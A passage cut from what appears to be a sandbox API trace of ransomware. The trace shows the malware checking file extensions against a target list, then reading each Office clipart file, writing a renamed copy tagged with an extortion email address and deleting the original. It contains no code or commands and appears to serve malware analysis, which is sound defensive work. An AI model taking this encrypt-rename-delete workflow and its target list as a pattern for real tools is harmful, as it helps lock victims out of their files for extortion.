office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0293.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.356] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.356] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0293.357] GetLastError () returned 0x0 [0293.357] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x5062, lpOverlapped=0x0) returned 1 [0293.674] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x5070, lpOverlapped=0x0) returned 1 [0293.676] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.676] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.676] SetEndOfFile (hFile=0x364) returned 1 [0293.873] CloseHandle (hObject=0x364) returned 1 [0293.993] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.994] SetEndOfFile (hFile=0x374) returned 1 [0294.078] CloseHandle (hObject=0x374) returned 1 [0294.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0294.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.079] lstrlenW (lpString=".doc") returned 4 [0294.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.079] lstrlenW (lpString=".docx") returned 5 [0294.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.079] lstrlenW (lpString=".pdf") returned 4 [0294.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.079] lstrlenW (lpString=".xls") returned 4 [0294.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.079] lstrlenW (lpString=".xlsx") returned 5 [0294.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.079] lstrlenW (lpString=".ppt") returned 4 [0294.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.079] lstrlenW (lpString=".zip") returned 4 [0294.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.079] lstrlenW (lpString=".rar") returned 4 [0294.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.079] lstrlenW (lpString=".bz2") returned 4 [0294.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.079] lstrlenW (lpString=".7z") returned 3 [0294.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.079] lstrlenW (lpString=".dbf") returned 4 [0294.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.080] lstrlenW (lpString=".1cd") returned 4 [0294.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.080] lstrlenW (lpString=".jpg") returned 4 [0294.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.080] lstrlenW (lpString=".doc") returned 4 [0294.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString=".docx") returned 5 [0294.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.080] lstrlenW (lpString=".pdf") returned 4 [0294.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString=".xls") returned 4 [0294.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.080] lstrlenW (lpString=".xlsx") returned 5 [0294.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.080] lstrlenW (lpString=".ppt") returned 4 [0294.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.080] lstrlenW (lpString=".zip") returned 4 [0294.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.080] lstrlenW (lpString=".rar") returned 4 [0294.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString=".bz2") returned 4 [0294.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.080] lstrlenW (lpString=".7z") returned 3 [0294.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.081] lstrlenW (lpString=".dbf") returned 4 [0294.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.081] lstrlenW (lpString=".1cd") returned 4 [0294.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0294.081] lstrlenW (lpString=".jpg") returned 4 [0294.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.760] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.760] lstrlenW (lpString="AN04174_.WMF") returned 12 [0294.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.760] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2636) returned 1 [0294.760] CloseHandle (hObject=0x370) returned 1 [0294.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0294.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.761] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.761] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.761] GetLastError () returned 0x0 [0294.761] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0294.762] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xa50, lpOverlapped=0x0) returned 1 [0294.764] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.764] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.764] SetEndOfFile (hFile=0x348) returned 1 [0294.764] CloseHandle (hObject=0x348) returned 1 [0294.764] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.764] SetEndOfFile (hFile=0x370) returned 1 [0294.765] CloseHandle (hObject=0x370) returned 1 [0294.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0294.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.766] lstrlenW (lpString=".doc") returned 4 [0294.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.766] lstrlenW (lpString=".docx") returned 5 [0294.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.766] lstrlenW (lpString=".pdf") returned 4 [0294.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.766] lstrlenW (lpString=".xls") returned 4 [0294.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.766] lstrlenW (lpString=".xlsx") returned 5 [0294.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.766] lstrlenW (lpString=".ppt") returned 4 [0294.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.767] lstrlenW (lpString=".zip") returned 4 [0294.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.767] lstrlenW (lpString=".rar") returned 4 [0294.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString=".bz2") returned 4 [0294.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString=".7z") returned 3 [0294.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.767] lstrlenW (lpString=".dbf") returned 4 [0294.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.767] lstrlenW (lpString=".1cd") returned 4 [0294.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.767] lstrlenW (lpString=".jpg") returned 4 [0294.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.767] lstrlenW (lpString=".doc") returned 4 [0294.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString=".docx") returned 5 [0294.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.767] lstrlenW (lpString=".pdf") returned 4 [0294.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString=".xls") returned 4 [0294.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.768] lstrlenW (lpString=".xlsx") returned 5 [0294.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.768] lstrlenW (lpString=".ppt") returned 4 [0294.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.768] lstrlenW (lpString=".zip") returned 4 [0294.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.768] lstrlenW (lpString=".rar") returned 4 [0294.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString=".bz2") returned 4 [0294.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString=".7z") returned 3 [0294.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.768] lstrlenW (lpString=".dbf") returned 4 [0294.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.768] lstrlenW (lpString=".1cd") returned 4 [0294.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0294.768] lstrlenW (lpString=".jpg") returned 4 [0294.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.768] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.768] lstrlenW (lpString="AN04191_.WMF") returned 12 [0294.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.769] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=6636) returned 1 [0294.769] CloseHandle (hObject=0x370) returned 1 [0294.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0294.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.769] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.770] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.770] GetLastError () returned 0x0 [0294.770] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x19ec, lpOverlapped=0x0) returned 1 [0294.771] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x19f0, lpOverlapped=0x0) returned 1 [0294.773] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.773] WriteFile (in: hFile=0x348, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.773] SetEndOfFile (hFile=0x348) returned 1 [0294.773] CloseHandle (hObject=0x348) returned 1 [0294.774] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.774] SetEndOfFile (hFile=0x370) returned 1 [0294.775] CloseHandle (hObject=0x370) returned 1 [0294.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0294.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.776] lstrlenW (lpString=".doc") returned 4 [0294.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.776] lstrlenW (lpString=".docx") returned 5 [0294.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.776] lstrlenW (lpString=".pdf") returned 4 [0294.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.776] lstrlenW (lpString=".xls") returned 4 [0294.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.776] lstrlenW (lpString=".xlsx") returned 5 [0294.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.776] lstrlenW (lpString=".ppt") returned 4 [0294.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.776] lstrlenW (lpString=".zip") returned 4 [0294.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.776] lstrlenW (lpString=".rar") returned 4 [0294.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString=".bz2") returned 4 [0294.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString=".7z") returned 3 [0294.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.777] lstrlenW (lpString=".dbf") returned 4 [0294.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.777] lstrlenW (lpString=".1cd") returned 4 [0294.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.777] lstrlenW (lpString=".jpg") returned 4 [0294.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.777] lstrlenW (lpString=".doc") returned 4 [0294.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString=".docx") returned 5 [0294.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.777] lstrlenW (lpString=".pdf") returned 4 [0294.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString=".xls") returned 4 [0294.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.777] lstrlenW (lpString=".xlsx") returned 5 [0294.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.777] lstrlenW (lpString=".ppt") returned 4 [0294.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.777] lstrlenW (lpString=".zip") returned 4 [0294.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.778] lstrlenW (lpString=".rar") returned 4 [0294.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.778] lstrlenW (lpString=".bz2") returned 4 [0294.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.778] lstrlenW (lpString=".7z") returned 3 [0294.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.778] lstrlenW (lpString=".dbf") returned 4 [0294.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.778] lstrlenW (lpString=".1cd") returned 4 [0294.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0294.778] lstrlenW (lpString=".jpg") returned 4 [0294.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.778] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.778] lstrlenW (lpString="AN04195_.WMF") returned 12 [0294.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.779] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=4612) returned 1 [0294.779] CloseHandle (hObject=0x370) returned 1 [0294.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0294.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.779] 